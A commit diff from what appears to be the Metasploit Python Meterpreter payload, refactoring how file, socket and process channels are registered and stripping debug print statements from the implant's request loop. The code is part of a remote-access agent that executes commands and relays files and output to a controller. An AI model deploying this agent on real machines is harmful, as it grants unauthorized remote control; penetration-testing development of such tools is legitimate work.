Remove debug print and fix channel additions.

Author: zeroSteiner

data/meterpreter/ext_server_stdapi.py

@@ -306,8 +306,7 @@ def channel_create_stdapi_fs_file(request, response):
 	else:
 		fmode = 'rb'
 	file_h = open(fpath, fmode)
-	channel_id = len(meterpreter.channels)
-	meterpreter.channels[channel_id] = file_h
+	channel_id = meterpreter.add_channel(file_h)
 	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
 	return ERROR_SUCCESS, response
 
@@ -331,8 +330,7 @@ def channel_create_stdapi_net_tcp_client(request, response):
 			pass
 	if not connected:
 		return ERROR_CONNECTION_ERROR, response
-	channel_id = len(meterpreter.channels)
-	meterpreter.channels[channel_id] = sock
+	channel_id = meterpreter.add_channel(sock)
 	response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
 	return ERROR_SUCCESS, response
 
@@ -366,8 +364,6 @@ def stdapi_sys_process_close(request, response):
 	if not proc_h_id:
 		return ERROR_SUCCESS, response
 	proc_h_id = proc_h_id['value']
-	if not proc_h_id in meterpreter.processes:
-		print("[-] trying to close non-existent channel: " + str(proc_h_id))
 	proc_h = meterpreter.channels[proc_h_id]
 	proc_h.kill()
 	return ERROR_SUCCESS, response
@@ -404,13 +400,11 @@ def stdapi_sys_process_execute(request, response):
 		proc_h.start()
 	else:
 		proc_h = subprocess.Popen(args, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
-	proc_h_id = len(meterpreter.processes)
-	meterpreter.processes[proc_h_id] = proc_h
+	proc_h_id = meterpreter.add_process(proc_h)
 	response += tlv_pack(TLV_TYPE_PID, proc_h.pid)
 	response += tlv_pack(TLV_TYPE_PROCESS_HANDLE, proc_h_id)
 	if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED):
-		channel_id = len(meterpreter.channels)
-		meterpreter.channels[channel_id] = proc_h
+		channel_id = meterpreter.add_channel(proc_h)
 		response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
 	return ERROR_SUCCESS, response
 

data/meterpreter/meterpreter.py

@@ -192,6 +192,20 @@ def register_function_windll(self, func):
 		if has_windll:
 			self.register_function(func)
 
+	def add_channel(self, channel):
+		idx = 0
+		while idx in self.channels:
+			idx += 1
+		self.channels[idx] = channel
+		return idx
+
+	def add_process(self, process):
+		idx = 0
+		while idx in self.processes:
+			idx += 1
+		self.processes[idx] = process
+		return idx
+
 	def run(self):
 		while self.running:
 			if len(select.select([self.socket], [], [], 0)[0]):
@@ -203,10 +217,8 @@ def run(self):
 				request = ''
 				while len(request) < req_length:
 					request += self.socket.recv(4096)
-				print('[+] received ' + str(len(request)) + ' bytes')
 				response = self.create_response(request)
 				self.socket.send(response)
-				print('[+] sent ' + str(len(response)) + ' bytes')
 			else:
 				channels_for_removal = []
 				channel_ids = self.channels.keys() # iterate over the keys because self.channels could be modified if one is closed
@@ -241,7 +253,6 @@ def run(self):
 						pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
 						pkt  = struct.pack('>I', len(pkt) + 4) + pkt
 						self.socket.send(pkt)
-						print('[+] sent ' + str(len(pkt)) + ' bytes')
 
 	def handle_dead_resource_channel(self, channel_id):
 		del self.channels[channel_id]
@@ -253,7 +264,6 @@ def handle_dead_resource_channel(self, channel_id):
 		pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
 		pkt  = struct.pack('>I', len(pkt) + 4) + pkt
 		self.socket.send(pkt)
-		print('[+] sent ' + str(len(pkt)) + ' bytes')
 
 	def _core_loadlib(self, request, response):
 		data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
@@ -331,6 +341,7 @@ def _core_channel_read(self, request, response):
 		if channel_id not in self.channels:
 			return ERROR_FAILURE, response
 		channel = self.channels[channel_id]
+		data = ''
 		if isinstance(channel, file):
 			data = channel.read(length)
 		elif isinstance(channel, STDProcess):
@@ -380,22 +391,17 @@ def create_response(self, request):
 		reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
 		resp += tlv_pack(reqid_tlv)
 
-		print("[*] running method: " + method_tlv['value'])
 		if method_tlv['value'] in self.extension_functions:
 			handler = self.extension_functions[method_tlv['value']]
 			try:
 				result, resp = handler(request, resp)
 			except Exception, err:
-				print("[-] method: " + method_tlv['value'] + " encountered an exception: " + repr(err))
 				result = ERROR_FAILURE
 		else:
 			result = ERROR_FAILURE
-		if result == ERROR_FAILURE:
-			print("[*] method: " + method_tlv['value'] + " failed")
-
 		resp += tlv_pack(TLV_TYPE_RESULT, result)
 		resp = struct.pack('>I', len(resp) + 4) + resp
 		return resp
-print("[+] starting meterpreter")
+
 met = PythonMeterpreter(s)
 met.run()